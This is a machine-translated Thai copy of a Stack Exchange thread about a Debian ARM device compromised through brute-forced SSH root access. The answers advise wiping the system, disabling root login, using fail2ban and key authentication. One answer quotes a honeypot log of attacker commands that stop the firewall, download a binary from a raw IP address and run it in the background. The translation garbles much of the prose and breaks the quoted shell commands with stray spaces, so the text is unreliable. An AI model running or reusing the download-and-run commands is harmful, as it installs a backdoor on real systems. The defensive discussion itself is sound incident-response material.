@MattNordhoff ขอบคุณที่ชี้ให้เห็นว่าฉันมีความสุขโดยไม่รู้ตัว อย่างไรก็ตามใน Debian ของฉันคำสั่ง 'strings' ผ่านการทดสอบที่คุณเชื่อมโยงกับสีที่บินได้ ผมเข้าใจนี้เป็นเพราะความจริงที่ว่ารัฐคู่มือ: -a ... ปกตินี้เป็นพฤติกรรมปกติ ไชโย
MariusMatutiae

32
คำตอบนี้แสดงวิธีการที่ควรเป็นกระบวนทัศน์: 1. อย่าให้ความสนใจของคุณถูกเบี่ยงเบนโดยความพยายามที่ล้มเหลว 2. บ่งชี้การกระทำที่ประสบความสำเร็จของผู้โจมตี 3. ศึกษาว่าผู้โจมตีทำอะไรและอย่างไร 4. ติดตั้งทั้งหมดตั้งแต่เริ่มต้นหรือจากการสำรองข้อมูลที่ไม่เสียหาย (โจมตี) ครั้งล่าสุดเพิ่มการป้องกันเพิ่มเติมที่จำเป็นที่คุณพบ (จุดที่ 3) 5. ช่วยเหลือผู้อื่นในการป้องกันตนเอง (รายการของ IP ที่ถูกบุกรุก / สงสัย)
Hastur

11
[Redacted หลังจากความคิดเห็นโดย @MariusMatutiae] - แต่ OP ควรตระหนักว่าในระบบบุกรุกทุกปฏิบัติการจะต้องได้รับการพิจารณาเป็นอันตรายแม้เปลือกls, whoหรือสิ่งอื่นใด "การช่วยชีวิตข้อมูล" โดยการใช้งานโปรแกรมใด ๆ ก็ได้บนระบบที่ถูกบุกรุก (เช่นscpหรือrsync) อาจทำให้เครื่องทำงานได้มากขึ้น
Dubu

142

ยินดีต้อนรับสู่อินเทอร์เน็ต - ที่เซิร์ฟเวอร์ SSH ใด ๆ ที่เปิดมีแนวโน้มที่จะได้รับการตรวจสอบบังคับ - เดรัจฉานและมีความโกรธเคืองต่าง ๆ

ในการเริ่มต้นคุณจำเป็นต้องเช็ดที่เก็บข้อมูลบนผลิตภัณฑ์อย่างสมบูรณ์ อิมเมจหากคุณต้องการส่งต่อเพื่อพิสูจน์หลักฐาน แต่การติดตั้ง Linux ในตอนนี้เป็นที่น่าสงสัย

บิตของการคาดเดา แต่

  1. คุณได้รับการบังคับใช้สัตว์ป่าหรือใช้รหัสผ่านทั่วไป เป็นการรักษาความปลอดภัยด้วยความสับสน แต่คุณไม่ต้องการรหัสผ่านพจนานุกรมหรือใช้บัญชีรูทเปิดให้ SSH ปิดใช้งานการเข้าถึง SSH รูทหากเป็นตัวเลือกหรืออย่างน้อยก็เปลี่ยนชื่อดังนั้นพวกเขาจึงต้องเดาทั้งคู่ SSHing ในฐานะที่เป็นรากคือการปฏิบัติด้านความปลอดภัยที่น่ากลัว แต่อย่างใด หากคุณต้องใช้รูทให้ล็อกอินเป็นผู้ใช้อื่นและใช้ su หรือ sudo เพื่อสลับ

  2. ขึ้นอยู่กับผลิตภัณฑ์ที่คุณอาจต้องการล็อคการเข้าถึง SSH ในบางวิธี รวมล็อคลงเสียงเหมือนความคิดที่ดีและช่วยให้ผู้ใช้สามารถเปิดมันขึ้นมาได้ตามต้องการ พิจารณาอนุญาตเฉพาะที่อยู่ IP ในซับเน็ตของคุณเองหรือระบบการควบคุมปริมาณการล็อกอินบางประเภททั้งนี้ขึ้นอยู่กับทรัพยากรที่คุณสามารถสำรองได้ หากคุณไม่ต้องการใช้กับผลิตภัณฑ์ขั้นสุดท้ายตรวจสอบให้แน่ใจว่าปิดอยู่

  3. ใช้พอร์ตที่ไม่ได้มาตรฐาน การรักษาความปลอดภัยด้วยความสับสนอีกครั้ง แต่หมายความว่าผู้โจมตีต้องกำหนดเป้าหมายพอร์ตของคุณ

  4. ไม่เคยใช้รหัสผ่านเริ่มต้น วิธีที่ดีที่สุดที่ฉันเคยเห็นคือการสร้างรหัสผ่านแบบสุ่มสำหรับอุปกรณ์เฉพาะและส่งมาพร้อมกับผลิตภัณฑ์ของคุณ แนวปฏิบัติที่ดีที่สุดคือการรับรองความถูกต้องโดยใช้คีย์ แต่ฉันไม่รู้ว่าคุณจะเข้าถึงผลิตภัณฑ์มวลชนได้อย่างไร


76
5. ใช้รหัสสาธารณะรับรองความถูกต้องถ้าเป็นไปได้ทั้งหมด รหัสผ่านรับรองความถูกต้องปลอดภัยน้อยกว่ามาก
บ๊อบ

4
ใช่ แต่ถ้าเป็นอุปกรณ์สำหรับผู้บริโภคมันอาจไม่ใช่ตัวเลือก บนกล่อง dev ดูเหมือนว่าความคิดที่ยอดเยี่ยม บนเซิร์ฟเวอร์ฉันเคยถูกแฮ็กมาก่อนหน้านี้ p
Journeyman Geek

2
หากเป็นอุปกรณ์ของผู้บริโภครหัสผ่านหรือกุญแจแบบสุ่มที่เหมือนกันในทุกรหัสก็เป็นความคิดที่ไม่ดีเช่นกัน ในฐานะที่เป็นอะไรก็ตามขึ้นอยู่กับหมายเลขซีเรียลของมัน MAC หรือข้อมูลอื่นที่สามารถระบุตัวตนได้ (สิ่งที่โมเด็ม / เราเตอร์ / WAP จำนวนมากของ SoHO พลาดไป)
Hennes

2
มันเป็นอุปกรณ์ของผู้บริโภค อย่างไรก็ตามผู้บริโภคเป้าหมายส่วนใหญ่จะไม่ได้รับการศึกษามากพอที่จะรู้ว่า SSH คืออะไร ดังนั้น SSH สามารถปิดได้และจะปิดได้มากที่สุด
vaid

2
นอกจากนี้ยังใช้fail2ban
Shadur

34

โอ้คุณถูกแฮ็คอย่างแน่นอน ดูเหมือนว่ามีใครบางคนสามารถรับข้อมูลประจำตัวของรูทและพยายามดาวน์โหลดโทรจันไปยังระบบของคุณ MariusMatutiae ให้การวิเคราะห์น้ำหนักบรรทุก

เกิดคำถามสองข้อ: ก) ผู้โจมตีสำเร็จหรือไม่? และ b) คุณทำอะไรได้บ้าง?

คำตอบของคำถามแรกอาจจะไม่ใช่ สังเกตว่าผู้โจมตีพยายามดาวน์โหลดและเรียกใช้ payload ซ้ำ ๆ ดูเหมือนไม่ประสบความสำเร็จ ฉันสงสัยว่ามีบางสิ่ง (SELinux, perchance?) ยืนอยู่ในทางของเขา

HOWEVER: ผู้โจมตีจะทำการเปลี่ยนแปลง/etc/rc.d/rc.localไฟล์ของคุณด้วยหวังว่าเมื่อคุณรีสตาร์ทระบบ payload จะถูกเปิดใช้งาน /etc/rc.d/rc.localหากคุณยังไม่ได้เริ่มต้นใหม่ระบบไม่ต้องรีสตาร์ทจนกว่าคุณจะได้ลบออกจากการเปลี่ยนแปลงเหล่านี้ หากคุณได้เริ่มต้นใหม่ ... ดีโชคยาก

สำหรับสิ่งที่คุณสามารถทำได้: สิ่งที่ปลอดภัยที่สุดคือการล้างระบบและติดตั้งใหม่ตั้งแต่ต้น แต่นี่อาจไม่ใช่ตัวเลือกเสมอไป สิ่งที่ปลอดภัยน้อยกว่าที่ต้องทำคือการวิเคราะห์สิ่งที่เกิดขึ้นและล้างข้อมูลทุกอย่างถ้าคุณทำได้ อีกครั้งหากคุณยังไม่ได้รีสตาร์ทระบบบางทีสิ่งที่ต้องทำทั้งหมดคือสะอาด/etc/rc.d/rc.localลบสิ่งที่ดาวน์โหลดโดยผู้โจมตีและสุดท้าย แต่ไม่ท้ายสุดเปลี่ยนรหัสผ่านยี้!

อย่างไรก็ตามหากผู้โจมตีสามารถเรียกใช้ payload ได้อาจมีการแก้ไขอื่น ๆ ในระบบของคุณซึ่งอาจตรวจจับได้ยาก ด้วยเหตุนี้การลบแบบสมบูรณ์จึงเป็นตัวเลือกเดียวที่ปลอดภัย (และแนะนำ) ตามที่คุณระบุอุปกรณ์ที่เป็นปัญหาอาจเป็นเป้าหมายของการทดสอบ / การพัฒนาดังนั้นบางทีการเช็ดมันอาจจะไม่เจ็บปวดเหมือนในกรณีอื่น ๆ

Update : แม้จะมีสิ่งที่ฉันเขียนเกี่ยวกับการกู้คืนที่เป็นไปได้ฉันต้องการที่จะสะท้อนคำแนะนำที่แข็งแกร่งมากของ MariusMatutiae ที่จะไม่ประมาทความเสียหายที่อาจเกิดขึ้นจากภาระนี้และขอบเขตที่อาจทำให้ระบบเป้าหมายเสียหาย


2
ขอบคุณ ฉันตัดสินใจที่จะล้างระบบ ฉันรีสตาร์ทสองสามครั้ง แต่เพียงเพื่อคัดลอกข้อมูลสำคัญบางอย่าง ไม่มีไบนารีซอร์สโค้ดเท่านั้น ฉันเดาว่าตอนนี้ฉันปลอดภัยแล้ว
vaid

แล้วกล่องอื่น ๆ ใน LAN เดียวกันล่ะ?
WGroleau

คำถามที่ดี. ประวัติเชลล์ที่จัดเตรียมไว้ไม่ได้ระบุความพยายามในการค้นหาและทำลายกล่องอื่น ๆ ในเครือข่ายเดียวกัน โดยทั่วไปหากผู้โจมตีได้รับการเข้าถึง SSH (root) ในช่องก็หมายความว่าเขาได้ผ่านไฟร์วอลล์ใด ๆ ในขอบเขต อย่างไรก็ตามไม่ได้หมายความว่ากล่องอื่น ๆ ถูกโจมตีโดยอัตโนมัติซึ่งจะต้องมีช่องโหว่ที่ไม่เหมือนใครรหัสผ่านที่ใช้ร่วมกันระหว่างกล่องการลงชื่อเข้าใช้อัตโนมัติจากกล่องหนึ่งไปยังอีกกล่องอัตโนมัติโดยอัตโนมัติ
Viktor Toth

18

sshd-honeypot ของฉันก็เห็นการโจมตีแบบนี้เช่นกัน การดาวน์โหลดครั้งแรกจาก URL นั้นเริ่มต้น 2016-01-29 10:25:33 และการโจมตียังดำเนินอยู่ การโจมตีถูก / มาจาก

103.30.4.212
111.68.6.170
118.193.228.169

ข้อมูลจากผู้โจมตีเหล่านี้คือ:

iptables บริการหยุด
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

ดังนั้นไม่มีกิจกรรมอื่นใดนอกจากการติดตั้งลับๆ


ตกลงกันว่าเป็น MO เดียวกัน
MariusMatutiae

1
@MariusMatutiae ดังนั้นนี่ไม่ใช่แฮ็คที่ทำขึ้นเอง? มันเป็นการแพร่กระจายเวิร์ม / บ็อตตัวเองบ้างไหม?
NickG

1
@NickG ฉันเดาได้ดีที่สุดว่านี่ไม่ใช่แฮ็คที่ทำเอง ความน่าจะเป็นที่ vaid ทำงานในสำนักงานเดียวกันกับผู้ริเริ่มบ็อตเน็ตในจีนเป็นอย่างไร บางคนพบว่าจุดอ่อนที่เอาเปรียบในเครื่องของเขาน่าจะเป็นเซิร์ฟเวอร์ ssh ที่มีความปลอดภัยน้อยและบังคับให้รหัสผ่านของเขาเข้าถึงได้พยายามที่จะติดตั้งตัวเองอย่างลับๆล่อๆ อย่างไรก็ตามฉันจะพนันได้เลยว่าผู้โจมตีสามารถใช้ Windows ได้ดีกว่า Linux แต่ฉันไม่ได้พิสูจน์เรื่องนี้อย่างหนักเพียงแค่เดาการศึกษา
MariusMatutiae

12

ทุกคนที่นี่ให้คำแนะนำที่ชัดเจน แต่เพื่อความชัดเจนลำดับความสำคัญของคุณควรสำรองและตรวจสอบสิ่งที่คุณต้องการอย่างแท้จริงจากระบบนั้นจากนั้นเช็ดด้วยการติดตั้งใหม่จากสื่อที่ปลอดภัย

ก่อนที่คุณจะเชื่อมต่อโฮสต์ที่ติดตั้งใหม่กับอินเทอร์เน็ตให้ทำตามแนวคิดต่อไปนี้:

  1. สร้างผู้ใช้ที่ไม่ใช่รูทใหม่และล็อกอินในฐานะผู้ใช้นั้น คุณไม่จำเป็นต้องเข้าสู่ระบบในฐานะ root เพียงแค่ sudo (ผู้ใช้สำรองทำ) เมื่อจำเป็น

  2. ติดตั้ง SE Linux การตั้งค่าการกำหนดค่าที่เปิดใช้งานการควบคุมการเข้าถึงที่จำเป็น: https://wiki.debian.org/SELinux/Setup

  3. พิจารณาไฟร์วอลล์ฮาร์ดแวร์ระหว่างสำนักงาน / บ้านของคุณกับอินเทอร์เน็ต ผมใช้ MicroTik ซึ่งมีการสนับสนุนจากชุมชนที่ดีเยี่ยม: http://routerboard.com/

สมมติว่าคุณอยู่ในกำหนดเวลาสำหรับการทำงานที่ได้รับค่าจ้างอย่างน้อยที่สุดให้ทำ # 1 # 3 รวดเร็วและราคาถูก แต่คุณต้องรอแพคเกจทางไปรษณีย์หรือขับรถไปที่ร้าน


3
และเหนือสิ่งอื่นใดอย่าปล่อยให้พีซีของคุณทำงานโดยไม่มีการดูแลด้วยเซสชันรูทแบบเปิด!
MariusMatutiae

11
  1. คือเดเบียน-armhfชื่อโฮสต์ของคุณหรือไม่ หรือคุณใช้การติดตั้งเริ่มต้นด้วยการตั้งค่าเริ่มต้น? ไม่มีปัญหา แต่คุณไม่ควรอนุญาตให้โฮสต์เปิดเผยกับอินเทอร์เน็ตโดยตรง (อย่างน้อยก็ไม่ได้รับการป้องกันโดยโมเด็มของคุณ)

  2. ดูเหมือนว่าปัญหาแท้จริงมาจาก222.186.30.209 (ดูhttp://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ) คุณไม่ควรใส่ใจกับการดู IP ของ Microsoft IP สามารถปลอมแปลง / ปลอมแปลงได้ไม่มากก็น้อย

  3. วิธีปกติในการเชื่อมต่ออินเทอร์เน็ตคือการส่งต่อรายการพอร์ตที่รู้จักจาก IP สาธารณะของคุณ (เช่น 8.8.8.8) ไปยังท้องถิ่นของคุณ (เช่น 192.168.1.12)

    • ตัวอย่างเช่นอย่าส่งต่อการเชื่อมต่อที่เข้ามาทั้งหมดจาก8.8.8.8 (สาธารณะ) ไปยัง192.168.1.12 (ท้องถิ่น)

    • ส่งต่อเฉพาะพอร์ต22และ25 (ssh และจดหมายขาเข้าตามลำดับ) แน่นอนคุณควรมีแพ็คเกจ / ไลบรารีsshและsmtpที่ทันสมัยเช่นกัน

  4. อะไรต่อไป? ถอดโฮสต์และเปลี่ยนรหัสผ่านใด ๆ (บนเครื่องคอมพิวเตอร์ใด ๆ ที่เกี่ยวข้องกับองค์กร) ที่มีการ hardcoded ในเชลล์สคริปต์ (ความอับอายกับคุณ!) /etc/shadowใน


1. ใช่debian-armhfเป็นชื่อโฮสต์ 2. ใช่ฉันได้อ่านบทความนั้นแล้วและได้ติดต่อ Microsoft ผ่านเว็บไซต์ cest.microsoft.com 3. ฉันเพิ่งส่งต่อ 25 และ 22 ไม่มีอะไรส่งต่อ 4. ฉันจะทำเช่นนั้น
สัญญาเมื่อ

"IP สามารถปลอมได้ง่ายขึ้นหรือน้อยลง": ฉันไม่ใช่ผู้เชี่ยวชาญด้านความปลอดภัยหรือเครือข่าย เป็นไปได้อย่างไร?
kevinarpe

@kevinarpe นั่นน่าจะเป็นคำถามที่ดีกว่า
CVn


2
@Archemar: SSH คือ TCP; การแกล้งทำ TCP source IP นั้นทำได้ยากหากไม่สามารถทำได้ นอกจากนี้ตามที่ได้กล่าวไว้ข้างต้น Microsoft IP เป็นของ Azure ซึ่งหมายความว่าทุกคนสามารถซื้อเวลาบนบริการเพื่อโจมตีผู้อื่นได้
nneonneo

9

ตามที่คนอื่น ๆ ระบุไว้ค่อนข้างชัดเจนว่าความปลอดภัยของเซิร์ฟเวอร์ของคุณถูกบุกรุก สิ่งที่ปลอดภัยที่สุดคือการเช็ดเครื่องนี้และติดตั้งใหม่

เพื่อตอบคำถามที่สองของคุณหากคุณไม่สามารถใช้การรับรองความถูกต้องของสาธารณะฉันขอแนะนำอย่างน้อยการตั้งค่า Fail2Ban และเรียกใช้ SSH บนพอร์ตที่ไม่ได้มาตรฐาน ฉันยังปิดใช้งานการเข้าถึงรูท SSH

Fail2Banจะช่วยลดการโจมตีแบบเดรัจฉานโดยการห้ามที่อยู่ IP ที่ไม่สามารถเข้าสู่ระบบในจำนวนครั้งที่แน่นอน

การตั้งค่า sshd ให้ฟังบนพอร์ตที่ไม่ได้มาตรฐานอย่างน้อยจะช่วยลดการมองเห็นเซิร์ฟเวอร์ SSH ของคุณได้เล็กน้อย การปิดใช้งานการล็อกออนรูทยังลดโปรไฟล์การโจมตีเล็กน้อย ใน/etc/sshd_config:

PermitRootLogin no
Port xxxxx

เมื่อปิดใช้งานการเข้าสู่ระบบรูทคุณจะต้องเปลี่ยนไปใช้รูทsuเมื่อคุณเชื่อมต่อหรือใช้ ( sudoเพื่อให้ทำงานได้ดีกว่า) คำสั่งพิเศษ


ฉันทำทั้งสองอย่างแล้วขอบคุณสำหรับคำแนะนำ
vaid

8

เซิร์ฟเวอร์ SSH ถูกโจมตีอย่างต่อเนื่องบนอินเทอร์เน็ต สองสิ่งที่คุณทำ:

  1. ตรวจสอบให้แน่ใจว่าคุณใช้รหัสผ่านแบบสุ่มที่ปลอดภัยมากสำหรับเครื่องที่เข้าถึงอินเทอร์เน็ตได้ ฉันหมายถึงชอบ 16 ตัวอักษรขึ้นไปและสุ่มอย่างสมบูรณ์ ใช้เครื่องมือจัดการรหัสผ่านเพื่อให้คุณไม่ต้องจดจำ หากคุณสามารถจดจำรหัสผ่านของคุณได้ง่ายเกินไป

  2. หากคุณไม่ต้องการ SSH ให้ปิด หากคุณต้องการ แต่ไม่ต้องการให้สาธารณชนเข้าถึงได้ให้รันด้วยหมายเลขพอร์ตที่สูงและไม่ได้มาตรฐาน การทำเช่นนี้จะลดความพยายามในการแฮ็คอย่างมาก ใช่แฮ็กเกอร์ที่ทุ่มเทสามารถทำการสแกนพอร์ตได้ แต่บอทอัตโนมัติจะไม่พบมัน

ตัวอย่างข้อมูลจากบันทึกรับรองความถูกต้องของคุณแสดงความพยายามที่ล้มเหลว อย่างไรก็ตามหากคุณตรวจสอบเพิ่มเติมคุณจะไม่ต้องสงสัยเลยว่าได้ลงชื่อเข้าใช้สำเร็จ คุณใช้รหัสผ่านง่าย ๆ แล้วมันเป็นเรื่องเล็กน้อยที่บอทจะเข้ามา

คุณต้องแยกเครื่องนี้ออกจากเครือข่าย เอาสิ่งที่คุณต้องการออกอย่างระมัดระวังแล้วเช็ดออก


7
เมื่อฉันเคยเรียกใช้ ssh บนพอร์ต 22 ฉันมักจะมีหลายพันครั้งต่อวัน เมื่อฉันเปลี่ยนเป็นหมายเลขพอร์ตสูง (มากกว่า 50,000) การแฮ็คเหล่านี้จะหยุดอย่างสมบูรณ์
user1751825

16 ตัวอักษรไม่ปลอดภัยพอ ผู้ใช้ออกจากระบบยังมีประโยชน์ อย่าทำให้มันเป็นการปิดการใช้งานทำให้มันหมดอายุ แต่ทำให้มันเหมือนชั่วโมง วิธีนี้คุณยังสามารถเข้าถึงเซิร์ฟเวอร์ได้
Ramhound

โปรดทราบว่าขั้นตอนที่ 2) ไม่จำเป็นสำหรับความปลอดภัยอย่างเคร่งครัดตราบใดที่คุณมีการรับรองความถูกต้องที่แข็งแกร่ง (รหัสสาธารณะหรือรหัสผ่านที่คาดเดายาก)
user20574

2
@ Ramound ทำไมไม่? แม้ว่ามันจะเป็นเพียงตัวอักษรตัวเล็ก แต่ตัวอักษรพิมพ์เล็ก 16 ตัวให้ความเป็นไปได้ที่ 43608742899428874059776 ซึ่งไม่สามารถบังคับได้โดยเฉพาะอย่างยิ่งสำหรับสัตว์เดรัจฉานที่ออนไลน์ทำให้เซิร์ฟเวอร์ของคุณรอทุกครั้งที่คุณพยายาม
user20574

3
@ user20574 ในขณะที่ไม่จำเป็นอย่างเคร่งครัดการลดการมองเห็นบริการ SSH ยังคงมีประโยชน์มาก แม้ว่าจะไม่มีเหตุผลอื่นนอกจากการลบความยุ่งเหยิงออกจากบันทึกของคุณ หากเครื่องต้องการเข้าถึงกลุ่มคนจำนวน จำกัด เท่านั้นพอร์ตที่ไม่ได้มาตรฐานจะเป็นขั้นตอนที่เหมาะสมที่สุดในการปรับปรุงความปลอดภัย
user1751825

6

สิ่งแรกที่ทุกคน / ทุกคนควรทำหลังจากการตั้งค่าเซิร์ฟเวอร์ด้านหน้า Linux / Unix rootจะถูกปิดการใช้งานทันที

ระบบของคุณถูกบุกรุก คุณมีบันทึกประวัติการใช้งานซึ่งอาจดูเท่มาก แต่การแยกข้อมูลอย่างตรงไปตรงมานั้นค่อนข้างดีและไม่ช่วยให้คุณปลอดภัยเซิร์ฟเวอร์ของคุณ มันแสดงให้เห็นถึงเรื่องไร้สาระทุกประเภทที่เกิดขึ้นเมื่อบอทเน็ตวางไข่มัลแวร์ซึ่งเป็นไปได้ว่าติดไวรัสในเซิร์ฟเวอร์ของคุณซึ่งติดเชื้อในระบบ Linux คำตอบให้โดย @MariusMatutiaeเป็นสิ่งที่ดีและคิดว่าดีออกและมีคนอื่น ๆ ที่ทำซ้ำว่าคุณถูกแฮ็กผ่านrootการเข้าถึงซึ่งเป็นฝันเปียกมัลแวร์ / บ็อตเน็ตของ

มีคำอธิบายบางอย่างเกี่ยวกับวิธีการปิดการใช้งานrootแต่ฉันจะระบุจากประสบการณ์ส่วนตัวสิ่งที่เกินกว่าที่ฉันจะอธิบายตอนนี้คือ overkill นี่คือสิ่งที่คุณควรทำเมื่อคุณติดตั้งเซิร์ฟเวอร์ครั้งแรก:

  1. สร้างผู้ใช้ใหม่ด้วยsudoสิทธิ์:สร้างผู้ใช้ใหม่ด้วยชื่อใหม่ - เช่นcooldude- ใช้คำสั่งเช่นsudo adduser cooldudeถ้าคุณใช้ Ubuntu หรือระบบ Debian ประเภทอื่น แล้วก็ด้วยตนเองแก้ไขsudoไฟล์โดยใช้คำสั่งเช่นนี้sudo nano /etc/sudoersและเพิ่มบรรทัดเช่นใต้บรรทัดเทียบเท่าที่ควรอ่านcooldude ALL=(ALL:ALL) ALL root ALL=(ALL:ALL) ALLเมื่อเสร็จสิ้นแล้วให้ลงชื่อเข้าใช้cooldudeและทดสอบsudoคำสั่งด้วยคำสั่งเช่น - sudo wบางสิ่งพื้นฐานและไม่ทำลาย - เพื่อดูว่าsudoสิทธิทำงานหรือไม่ คุณอาจได้รับพร้อมท์ให้ใส่รหัสผ่าน มันใช้ได้เหรอ ทั้งหมดดี! ไปยังขั้นตอนต่อไป
  2. ล็อคrootบัญชี:โอเคตอนนี้cooldudeมีค่าใช้จ่ายsudoเข้าสู่ระบบcooldudeและเรียกใช้คำสั่งนี้เพื่อล็อคบัญชีรูsudo passwd -l rootท หากคุณสร้างคู่คีย์ SSH ไว้ให้rootเปิด/root/.ssh/authorized_keysและลบคีย์ออก หรือดีกว่าเพียงแค่เปลี่ยนชื่อไฟล์authorized_keys_OFFเช่นนี้sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFเพื่อปิดใช้งานคีย์ SSH อย่างมีประสิทธิภาพ ฉันชอบในภายหลังเพราะโอกาสที่คุณยังต้องใช้รหัสผ่านน้อยกว่าคุณสามารถย้ายไฟล์นั้นกลับไปที่ชื่อเดิมและคุณควรจะไป

FWIW ฉันมีการจัดการเซิร์ฟเวอร์ Linux หลายสิบแห่งในช่วงหลายปีที่ผ่านมา (หลายสิบปี) และรู้จากประสบการณ์ที่ปิดการใช้งานง่ายroot- และการตั้งค่าผู้ใช้ใหม่ด้วยsudoสิทธิ์ - เป็นวิธีที่ง่ายและพื้นฐานที่สุดในการรักษาความปลอดภัยระบบ Linux ฉันไม่เคยจัดการกับการประนีประนอมใด ๆ ผ่านทาง SSH เมื่อrootถูกปิดใช้งาน และใช่คุณอาจเห็นความพยายามในการเข้าสู่ระบบผ่านauth.logแต่พวกเขาไม่มีความหมาย; หากrootถูกปิดใช้งานความพยายามเหล่านั้นจะไม่เพิ่มขึ้นเป็นอะไรเลย เพียงแค่นั่งลงและดูความพยายามที่ล้มเหลวอย่างไม่มีที่สิ้นสุด!

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.